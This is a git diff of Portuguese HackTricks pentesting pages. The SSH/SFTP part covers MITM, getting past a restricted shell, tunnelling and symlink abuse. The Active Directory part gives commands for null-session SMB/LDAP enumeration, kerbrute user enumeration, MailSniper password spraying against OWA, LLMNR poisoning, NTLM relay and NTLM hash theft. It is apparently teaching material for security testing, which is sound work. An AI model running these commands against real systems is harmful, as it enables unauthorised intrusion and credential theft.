* o servidor SSH do atacante é configurado, em primeiro lugar, para registrar todos os dados inseridos, incluindo a senha do usuário, e, em segundo lugar, enviar comandos para o servidor SSH legítimo ao qual o usuário deseja se conectar, para executá-los, e então retornar os resultados para o usuário legítimo
|
||||
|
||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* faz exatamente o que está descrito acima.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que está descrito acima.
|
||||
|
||||
Para capturar e realizar o MitM real, você poderia usar técnicas como ARP spoofing, DNS spoofing ou outras descritas em [**Ataques de Spoofing de Rede**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
|
||||
|
@ -183,7 +183,7 @@ Para capturar e realizar o MitM real, você poderia usar técnicas como ARP spoo
|
|||
|
||||
### Login como root
|
||||
|
||||
Por padrão, a maioria das implementações de servidores SSH permite o login como root, é aconselhável desativá-lo porque se as credenciais dessa conta vazarem, os atacantes obterão privilégios administrativos diretamente e isso também permitirá que eles conduzam ataques de força bruta nesta conta.
|
||||
Por padrão, a maioria das implementações de servidores SSH permite o login como root, é aconselhável desativá-lo porque se as credenciais desta conta vazarem, os atacantes obterão privilégios administrativos diretamente e isso também permitirá que eles conduzam ataques de força bruta nesta conta.
|
||||
|
||||
**Como desativar o login como root no openSSH:**
|
||||
|
||||
|
@ -192,11 +192,15 @@ Por padrão, a maioria das implementações de servidores SSH permite o login co
|
|||
3. Leve em conta as alterações de configuração: `sudo systemctl daemon-reload`
|
||||
4. Reinicie o servidor SSH `sudo systemctl restart sshd`
|
||||
|
||||
### Força Bruta SFTP
|
||||
|
||||
* [**Força Bruta SFTP**](../generic-methodologies-and-resources/brute-force.md#sftp)
|
||||
|
||||
### Execução de comando SFTP
|
||||
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso ao SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Então eles pensam que criar um usuário, atribuindo-lhe um shell substituto (como `/usr/bin/nologin` ou `/usr/bin/false`) e confinando-o em uma prisão é suficiente para evitar o acesso ao shell ou abuso em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode pedir para executar um comando logo após a autenticação antes que seu comando padrão ou shell seja executado**. Portanto, para contornar o shell substituto que negará o acesso ao shell, basta pedir para executar um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador quer que os usuários tenham acesso ao SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Então eles pensam que criar um usuário, atribuir a ele um shell substituto (como `/usr/bin/nologin` ou `/usr/bin/false`) e confiná-lo em uma prisão é suficiente para evitar o acesso ao shell ou abuso em todo o sistema de arquivos. Mas eles estão enganados, **um usuário pode pedir para executar um comando logo após a autenticação antes que seu comando padrão ou shell seja executado**. Portanto, para contornar o shell substituto que negará o acesso ao shell, basta pedir para executar um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
Password:
|
||||
debug1: Authentication succeeded (keyboard-interactive).
|
||||
|
@ -227,12 +231,12 @@ PermitTunnel no
|
|||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell ao forçar o comando de início e desabilitando o acesso TTY, mas também desabilitando todo tipo de encaminhamento de porta ou tunelamento.
|
||||
Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o comando de início e desabilitando o acesso TTY, mas também desabilitando todo tipo de encaminhamento de porta ou tunelamento.
|
||||
|
||||
### Tunelamento SFTP
|
||||
|
||||
Se você tem acesso a um servidor SFTP, você também pode tunelar seu tráfego através deste, por exemplo, usando o encaminhamento de porta comum:
|
||||
```
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
@ -240,7 +244,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
|||
O **sftp** possui o comando "**symlink**". Portanto, se você tem **direitos de escrita** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **serviço sem chroot** (por exemplo, se você pode acessar o symlink pela web), você poderia **abrir os arquivos vinculados através da web**.
|
||||
|
||||
Por exemplo, para criar um **symlink** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
|
||||
```
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
Se você pode acessar o arquivo "_froot_" via web, você será capaz de listar a pasta raiz ("/") do sistema.
|
||||
|
@ -248,22 +252,22 @@ Se você pode acessar o arquivo "_froot_" via web, você será capaz de listar a
|
|||
### Métodos de autenticação
|
||||
|
||||
Em ambientes de alta segurança, é comum a prática de habilitar apenas autenticação baseada em chave ou autenticação de dois fatores, em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desativar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e definí-lo como o método padrão, mas não desabilitar `password`. Assim, usando o modo verboso do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
|
||||
```
|
||||
$ ssh -v 192.168.1.94
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de alcançar o método de senha, você pode usar a opção `PreferredAuthentications` para forçar o uso deste método.
|
||||
```
|
||||
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
Revisar a configuração do servidor SSH é necessário para verificar que apenas métodos esperados estão autorizados. Usar o modo verboso no cliente pode ajudar a ver a eficácia da configuração.
|
||||
Revisar a configuração do servidor SSH é necessário para verificar que apenas os métodos esperados estão autorizados. Usar o modo verboso no cliente pode ajudar a ver a eficácia da configuração.
|
||||
|
||||
### Arquivos de configuração
|
||||
```
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
authorized_keys
|
||||
|
@ -283,7 +287,7 @@ id_rsa
|
|||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente, escrito e falado_).
|
||||
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente, escrito e falado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -309,9 +313,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -4,58 +4,91 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Visão geral básica
|
||||
|
||||
O Active Directory permite que administradores de rede criem e gerenciem domínios, usuários e objetos dentro de uma rede. Por exemplo, um administrador pode criar um grupo de usuários e dar a eles privilégios de acesso específicos a determinados diretórios no servidor. À medida que uma rede cresce, o Active Directory fornece uma maneira de organizar um grande número de usuários em grupos e subgrupos lógicos, enquanto fornece controle de acesso em cada nível.
|
||||
O Active Directory permite que administradores de rede criem e gerenciem domínios, usuários e objetos dentro de uma rede. Por exemplo, um administrador pode criar um grupo de usuários e conceder-lhes privilégios de acesso específicos a determinados diretórios no servidor. À medida que uma rede cresce, o Active Directory oferece uma maneira de organizar um grande número de usuários em grupos lógicos e subgrupos, enquanto fornece controle de acesso em cada nível.
|
||||
|
||||
A estrutura do Active Directory inclui três camadas principais: 1) domínios, 2) árvores e 3) florestas. Vários objetos (usuários ou dispositivos) que usam o mesmo banco de dados podem ser agrupados em um único domínio. Vários domínios podem ser combinados em um único grupo chamado árvore. Múltiplas árvores podem ser agrupadas em uma coleção chamada floresta. Cada um desses níveis pode ser atribuído a direitos de acesso específicos e privilégios de comunicação.
|
||||
A estrutura do Active Directory inclui três níveis principais: 1) domínios, 2) árvores e 3) florestas. Vários objetos (usuários ou dispositivos) que usam o mesmo banco de dados podem ser agrupados em um único domínio. Múltiplos domínios podem ser combinados em um único grupo chamado árvore. Múltiplas árvores podem ser agrupadas em uma coleção chamada floresta. Cada um desses níveis pode ser atribuído direitos de acesso específicos e privilégios de comunicação.
|
||||
|
||||
Principais conceitos de um Active Directory:
|
||||
Conceitos principais de um Active Directory:
|
||||
|
||||
1. **Diretório** - Contém todas as informações sobre os objetos do Active Directory
|
||||
2. **Objeto** - Um objeto faz referência a quase qualquer coisa dentro do diretório (um usuário, grupo, pasta compartilhada...)
|
||||
3. **Domínio** - Os objetos do diretório estão contidos dentro do domínio. Dentro de uma "floresta", mais de um domínio pode existir e cada um deles terá sua própria coleção de objetos.
|
||||
4. **Árvore** - Grupo de domínios com a mesma raiz. Exemplo: _dom.local, email.dom.local, www.dom.local_
|
||||
5. **Floresta** - A floresta é o nível mais alto da hierarquia da organização e é composta por um grupo de árvores. As árvores são conectadas por relacionamentos de confiança.
|
||||
1. **Diretório** – Contém todas as informações sobre os objetos do Active Directory
|
||||
2. **Objeto** – Um objeto refere-se a quase qualquer coisa dentro do diretório (um usuário, grupo, pasta compartilhada...)
|
||||
3. **Domínio** – Os objetos do diretório estão contidos dentro do domínio. Dentro de uma "floresta", mais de um domínio pode existir e cada um terá sua própria coleção de objetos.
|
||||
4. **Árvore** – Grupo de domínios com a mesma raiz. Exemplo: _dom.local, email.dom.local, www.dom.local_
|
||||
5. **Floresta** – A floresta é o nível mais alto da hierarquia organizacional e é composta por um grupo de árvores. As árvores são conectadas por relações de confiança.
|
||||
|
||||
O Active Directory fornece vários serviços diferentes, que se enquadram no guarda-chuva de "Serviços de Domínio do Active Directory" ou AD DS. Esses serviços incluem:
|
||||
O Active Directory fornece vários serviços diferentes, que estão sob o guarda-chuva dos "Serviços de Domínio do Active Directory", ou AD DS. Estes serviços incluem:
|
||||
|
||||
1. **Serviços de Domínio** - armazena dados centralizados e gerencia a comunicação entre usuários e domínios; inclui autenticação de login e funcionalidade de pesquisa
|
||||
2. **Serviços de Certificado** - cria, distribui e gerencia certificados seguros
|
||||
3. **Serviços de Diretório Leve** - suporta aplicativos habilitados para diretório usando o protocolo aberto (LDAP)
|
||||
4. **Serviços de Federação de Diretório** - fornece logon único (SSO) para autenticar um usuário em vários aplicativos da web em uma única sessão
|
||||
5. **Gerenciamento de Direitos** - protege informações protegidas por direitos autorais, impedindo o uso e distribuição não autorizados de conteúdo digital
|
||||
6. **Serviço DNS** - Usado para resolver nomes de domínio.
|
||||
1. **Serviços de Domínio** – armazena dados centralizados e gerencia a comunicação entre usuários e domínios; inclui autenticação de login e funcionalidade de busca
|
||||
2. **Serviços de Certificado** – cria, distribui e gerencia certificados seguros
|
||||
3. **Serviços de Diretório Leve** – suporta aplicações habilitadas para diretório usando o protocolo aberto (LDAP)
|
||||
4. **Serviços de Federação de Diretórios** – fornece single-sign-on (SSO) para autenticar um usuário em múltiplas aplicações web em uma única sessão
|
||||
5. **Gerenciamento de Direitos** – protege informações protegidas por direitos autorais impedindo o uso e distribuição não autorizados de conteúdo digital
|
||||
6. **Serviço DNS** – Usado para resolver nomes de domínio.
|
||||
|
||||
O AD DS está incluído no Windows Server (incluindo o Windows Server 10) e é projetado para gerenciar sistemas de clientes. Embora os sistemas que executam a versão regular do Windows não tenham os recursos administrativos do AD DS, eles suportam o Active Directory. Isso significa que qualquer computador com Windows pode se conectar a um grupo de trabalho do Windows, desde que o usuário tenha as credenciais de login corretas.\
|
||||
O AD DS está incluído no Windows Server (incluindo o Windows Server 10) e é projetado para gerenciar sistemas clientes. Enquanto sistemas rodando a versão regular do Windows não têm os recursos administrativos do AD DS, eles suportam o Active Directory. Isso significa que qualquer computador Windows pode se conectar a um grupo de trabalho do Windows, desde que o usuário tenha as credenciais de login corretas.\
|
||||
**De:** [**https://techterms.com/definition/active\_directory**](https://techterms.com/definition/active\_directory)
|
||||
|
||||
### **Autenticação Kerberos**
|
||||
|
||||
Para aprender como **atacar um AD**, você precisa **entender** muito bem o **processo de autenticação Kerberos**.\
|
||||
Para aprender a **atacar um AD**, você precisa **entender** muito bem o **processo de autenticação Kerberos**.\
|
||||
[**Leia esta página se você ainda não sabe como funciona.**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
|
||||
Você pode acessar [https://wadcoms.github.io/](https://wadcoms.github.io) para ter uma visão rápida dos comandos que você pode executar para enumerar / explorar um AD.
|
||||
Você pode dar uma olhada em [https://wadcoms.github.io/](https://wadcoms.github.io) para ter uma visão rápida de quais comandos você pode executar para enumerar/explorar um AD.
|
||||
|
||||
## Reconhecimento do Active Directory (sem credenciais / sessões)
|
||||
## Reconhecimento do Active Directory (Sem credenciais/sessões)
|
||||
|
||||
Se você tem acesso apenas a um ambiente AD, mas não tem credenciais / sessões, você pode:
|
||||
Se você apenas tem acesso a um ambiente AD, mas não tem nenhuma credencial/sessão, você poderia:
|
||||
|
||||
* **Testar a rede:**
|
||||
* Escanear a rede, encontrar máquinas e portas abertas e tentar **explorar vulnerabilidades** ou **extrair credenciais** deles (por exemplo, [impressoras podem ser alvos muito interessantes](ad-information-in-printers.md).
|
||||
* Enumerar DNS pode fornecer informações sobre servidores-chave no domínio, como web, impressoras, compartilhamentos, VPN, mídia, etc.
|
||||
* `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
* Dê uma olhada na [**Metodologia de Pentesting Genérica**](../../generic-methodologies-and-resources/pentesting-methodology.md) para obter mais informações sobre
|
||||
* **Testar a penetração na rede:**
|
||||
* Escanear a rede, encontrar máquinas e portas abertas e tentar **explorar vulnerabilidades** ou **extrair credenciais** delas (por exemplo, [impressoras podem ser alvos muito interessantes](ad-information-in-printers.md).
|
||||
* Enumerar DNS pode dar informações sobre servidores-chave no domínio como web, impressoras, compartilhamentos, vpn, mídia, etc.
|
||||
* `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
* Dê uma olhada na Metodologia de [**Teste de Penetração Geral**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar mais informações sobre como fazer isso.
|
||||
* **Verificar acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
|
||||
* `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
* `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
* `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
* Um guia mais detalhado sobre como enumerar um servidor SMB pode ser encontrado aqui:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-smb.md" %}
|
||||
[pentesting-smb.md](../../network-services-pentesting/pentesting-smb.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Enumerar Ldap**
|
||||
* `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
* Um guia mais detalhado sobre como enumerar LDAP pode ser encontrado aqui (preste **atenção especial ao acesso anônimo**):
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Envenenar a rede**
|
||||
* Coletar credenciais [**impersonando serviços com Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
* Acessar host por [**abusar do ataque de relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
* Coletar credenciais **expondo** [**serviços UPnP falsos com evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
* [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
* Extrair nomes de usuários/nomes de documentos internos, mídias sociais, serviços (principalmente web) dentro dos ambientes de domínio e também dos disponíveis publicamente.
|
||||
* Se você encontrar os nomes completos dos trabalhadores da empresa, você poderia tentar diferentes convenções de nomes de usuário do AD (**leia isso**](https://activedirectorypro.com/active-directory-user-naming-convention/)). As convenções mais comuns são: _NomeSobrenome_, _Nome.Sobrenome_, _NomSob_ (3 letras de cada), _Nom.Sob_, _NSobrenome_, _N.Sobrenome_, _SobrenomeNome_, _Sobrenome.Nome_, _SobrenomeN_, _Sobrenome.N_, 3 _letras aleatórias e 3 números aleatórios_ (abc123).
|
||||
* Ferramentas:
|
||||
* [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
* [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Enumeração de usuários
|
||||
|
||||
* **Enumeração anônima SMB/LDAP:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb.md) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
* **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** provocarão ou o **TGT em uma resposta AS-REP** ou o erro _KRB5KDC\_ERR\_PREAUTH\_REQUIRED_, indicando que o usuário é obrigado a realizar pré-autenticação.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
|
@ -68,7 +101,7 @@ crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
|
|||
```
|
||||
* **Servidor OWA (Outlook Web Access)**
|
||||
|
||||
Se você encontrou um desses servidores na rede, também pode realizar **enumeração de usuários contra ele**. Por exemplo, você pode usar a ferramenta [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
Se você encontrou um desses servidores na rede, também pode realizar **enumeração de usuários contra ele**. Por exemplo, você poderia usar a ferramenta [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
|
@ -81,18 +114,18 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
|||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Você pode encontrar listas de nomes de usuário neste [**repositório do Github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) e neste outro ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
Você pode encontrar listas de nomes de usuários neste [**repositório do github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e neste outro ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
|
||||
No entanto, você deve ter o **nome das pessoas que trabalham na empresa** a partir da etapa de reconhecimento que você deve ter realizado antes disso. Com o nome e sobrenome, você pode usar o script [**namemash.py**](https://gist.github.com/superkojiman/11076951) para gerar possíveis nomes de usuário válidos.
|
||||
No entanto, você deve ter o **nome das pessoas que trabalham na empresa** a partir da etapa de reconhecimento que você deveria ter realizado antes. Com o nome e sobrenome, você poderia usar o script [**namemash.py**](https://gist.github.com/superkojiman/11076951) para gerar possíveis nomes de usuários válidos.
|
||||
{% endhint %}
|
||||
|
||||
### Sabendo um ou vários nomes de usuário
|
||||
### Conhecendo um ou vários nomes de usuários
|
||||
|
||||
Ok, então você já sabe que tem um nome de usuário válido, mas não tem senhas... Então tente:
|
||||
Ok, então você sabe que já tem um nome de usuário válido, mas sem senhas... Então tente:
|
||||
|
||||
* [**ASREPRoast**](asreproast.md): Se um usuário **não tem** o atributo _DONT\_REQ\_PREAUTH_, você pode **solicitar uma mensagem AS\_REP** para esse usuário que conterá alguns dados criptografados por uma derivação da senha do usuário.
|
||||
* [**Password Spraying**](password-spraying.md): Vamos tentar as senhas mais **comuns** com cada um dos usuários descobertos, talvez algum usuário esteja usando uma senha ruim (lembre-se da política de senhas!).
|
||||
* Observe que você também pode **testar servidores OWA** para tentar acessar os servidores de e-mail dos usuários.
|
||||
* [**Password Spraying**](password-spraying.md): Vamos tentar as senhas **mais comuns** com cada um dos usuários descobertos, talvez algum usuário esteja usando uma senha fraca (lembre-se da política de senhas!).
|
||||
* Observe que você também pode **spray servidores OWA** para tentar obter acesso aos servidores de e-mail dos usuários.
|
||||
|
||||
{% content-ref url="password-spraying.md" %}
|
||||
[password-spraying.md](password-spraying.md)
|
||||
|
@ -100,29 +133,29 @@ Ok, então você já sabe que tem um nome de usuário válido, mas não tem senh
|
|||
|
||||
### Envenenamento LLMNR/NBT-NS
|
||||
|
||||
Você pode ser capaz de **obter** alguns **hashes** de desafio para quebrar **envenenando** alguns protocolos da **rede**:
|
||||
Você pode ser capaz de **obter** alguns **hashes de desafio** para quebrar **envenenando** alguns protocolos da **rede**:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### NTML Relay
|
||||
### Relay NTML
|
||||
|
||||
Se você conseguiu enumerar o Active Directory, terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar ataques de **retransmissão NTML** \*\*\*\* para obter acesso ao ambiente AD.
|
||||
Se você conseguiu enumerar o active directory, você terá **mais e-mails e um melhor entendimento da rede**. Você pode ser capaz de forçar ataques de [**relay NTML**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obter acesso ao ambiente AD.
|
||||
|
||||
### Roubar credenciais NTLM
|
||||
### Roubar Credenciais NTLM
|
||||
|
||||
Se você pode **acessar outros PCs ou compartilhamentos** com o usuário **null ou guest**, você pode **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, irão **disparar uma autenticação NTML contra você** para que você possa **roubar** o **desafio NTLM** para quebrá-lo:
|
||||
Se você pode **acessar outros PCs ou compartilhamentos** com o **usuário nulo ou convidado**, você poderia **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, **dispararão uma autenticação NTML contra você** para que você possa **roubar** o **desafio NTLM** para quebrá-lo:
|
||||
|
||||
{% content-ref url="../ntlm/places-to-steal-ntlm-creds.md" %}
|
||||
[places-to-steal-ntlm-creds.md](../ntlm/places-to-steal-ntlm-creds.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Enumerando o Active Directory COM credenciais/sessão
|
||||
## Enumerando Active Directory COM credenciais/sessão
|
||||
|
||||
Para esta fase, você precisa ter **comprometido as credenciais ou uma sessão de uma conta de domínio válida**. Se você tiver algumas credenciais válidas ou um shell como usuário de domínio, **lembre-se de que as opções dadas anteriormente ainda são opções para comprometer outros usuários**.
|
||||
Para esta fase, você precisa ter **comprometido as credenciais ou uma sessão de uma conta de domínio válida.** Se você tem algumas credenciais válidas ou um shell como um usuário de domínio, **você deve lembrar que as opções dadas antes ainda são opções para comprometer outros usuários**.
|
||||
|
||||
Antes de iniciar a enumeração autenticada, você deve saber qual é o **problema de duplo salto do Kerberos**.
|
||||
Antes de começar a enumeração autenticada, você deve saber o que é o **problema do duplo salto do Kerberos.**
|
||||
|
||||
{% content-ref url="kerberos-double-hop-problem.md" %}
|
||||
[kerberos-double-hop-problem.md](kerberos-double-hop-problem.md)
|
||||
|
@ -130,42 +163,50 @@ Antes de iniciar a enumeração autenticada, você deve saber qual é o **proble
|
|||
|
||||
### Enumeração
|
||||
|
||||
Ter comprometido uma conta é um **grande passo para começar a comprometer todo o domínio**, porque você vai ser capaz de começar a **enumerar o Active Directory:**
|
||||
Ter comprometido uma conta é um **grande passo para começar a comprometer todo o domínio**, porque você vai poder iniciar a **Enumeração do Active Directory:**
|
||||
|
||||
